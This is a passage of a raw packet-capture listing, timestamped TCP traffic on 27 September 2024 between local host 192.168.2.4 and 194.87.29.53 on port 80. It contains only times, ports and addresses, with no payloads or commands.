Sep 27, 2024 18:29:05.744702101 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.744704962 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.744716883 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.744740009 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.744771004 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.744771004 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.744957924 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.744968891 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.744978905 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.744987965 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.744997978 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.745008945 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.745009899 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.745009899 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.745019913 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.745028973 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.745039940 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.745047092 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.745054960 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.745059967 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.745066881 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.745075941 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.745084047 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.745085955 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.745099068 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.745107889 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.745110035 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.745130062 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.745135069 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.745141983 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.745145082 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.745157003 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.745173931 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.745193005 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.745198965 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.745749950 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.745759964 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.745769978 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.745786905 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.745796919 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.745801926 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.745810032 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.745820999 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.745826006 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.745831966 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.745841980 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.745851994 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.745853901 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.745862007 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.745872021 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.745872021 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.745881081 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.745884895 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.745896101 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.745903969 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.745913982 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.745918036 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.745923996 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.745934010 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.745939016 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.745945930 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.745949030 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.745958090 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.745969057 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.745980024 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.745980978 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.745991945 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.746002913 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.746004105 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.746014118 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.746023893 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.746048927 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.746071100 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.746705055 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.746716022 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.746725082 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.746742010 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.746751070 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.746756077 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.746762991 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.746773005 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.746773005 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.746781111 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.746783972 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.746793985 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.746803045 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.746813059 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.746814013 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.746824980 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.746834993 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.746835947 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.746845961 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.746849060 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.746860981 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.746865034 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.746870995 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.746882915 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.746890068 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.746892929 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.746902943 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.746913910 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.746915102 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.746927023 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.746937990 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.746939898 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.746948004 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.746958017 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.746968031 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.746968031 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.746979952 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.747005939 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.747670889 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.747682095 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.747699022 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.747709990 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.747720003 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.747723103 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.747731924 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.747734070 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.747742891 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.747754097 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.747762918 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.747765064 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.747776985 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.747786999 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.747788906 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.747801065 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.747807980 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.747817993 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.747823954 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.747828960 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.747838974 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.747848988 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.747849941 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.747859001 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.747869968 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.747874022 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.747884989 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.747893095 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.747899055 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.747908115 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.747914076 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.747919083 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.747931004 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.747939110 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.747941017 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.747962952 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.747987032 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.748599052 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.748610020 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.748619080 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.748636961 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.748646021 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.748651028 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.748656988 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.748667955 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.748675108 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.748677969 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.748688936 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.748697996 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.748698950 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.748709917 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.748718977 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.748722076 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.748729944 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.748739958 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.748742104 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.748750925 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.748760939 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.748761892 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.748770952 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.748781919 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.748783112 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.748792887 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.748806953 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.748809099 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.748817921 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.748825073 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.748830080 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.748833895 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.748838902 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.748850107 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.748861074 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.748886108 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.748892069 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.749578953 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.749591112 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.749600887 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.749622107 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.749630928 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.749634981 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.749644041 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.749654055 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.749656916 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.749665022 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.749675989 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.749680996 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.749686956 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.749696016 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.749706030 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.749707937 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.749720097 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.749726057 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.749733925 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.749738932 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.749746084 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.749756098 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.749764919 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.749768972 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.749779940 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.749788046 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.749793053 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.749803066 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.749805927 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.749816895 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.749825001 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.749829054 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.749850988 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.749859095 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.750495911 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.750508070 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.750516891 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.750526905 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.750541925 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.750544071 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.750554085 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.750564098 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.750569105 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.750576019 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.750591993 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.750593901 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.750602007 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.750603914 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.750616074 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.750626087 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.750631094 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.750646114 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.750659943 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.750660896 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.750670910 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.750674963 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.750685930 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.750696898 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.750700951 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.750709057 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.750720024 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.750725031 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.750732899 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.750732899 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.750746012 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.750757933 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.750763893 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.750787973 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.750797987 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.751108885 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.751121998 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.751131058 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.751142025 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.751149893 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.751159906 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.751184940 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.751272917 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.751283884 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.751297951 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.751308918 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.751319885 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.751322985 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.751333952 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.751336098 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.751346111 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.751358032 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.751359940 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.751368999 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.751390934 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.751395941 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.751395941 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.751400948 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.751411915 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.751421928 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.751425028 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.751435041 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.751440048 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.751451969 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.751461029 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.751461983 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.751473904 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.751483917 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.751485109 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.751496077 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.751506090 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.751507044 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.751519918 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.751526117 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.751532078 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.751533031 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.751543999 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.751560926 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.751581907 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.752197981 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.752209902 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.752219915 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.752229929 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.752238989 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.752249956 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.752253056 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.752260923 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.752260923 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.752279997 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.752285957 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.752291918 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.752302885 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.752304077 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.752330065 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.752343893 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.752357960 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.752368927 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.752377987 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.752388000 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.752398968 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.752402067 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.752409935 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.752420902 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.752429962 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.752432108 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.752438068 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.752444029 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.752454996 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.752465010 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.752470016 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.752475977 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.752485991 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:05.752489090 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:05.752501011 CEST	80	60865	194.87.29.53	192.168.2.4
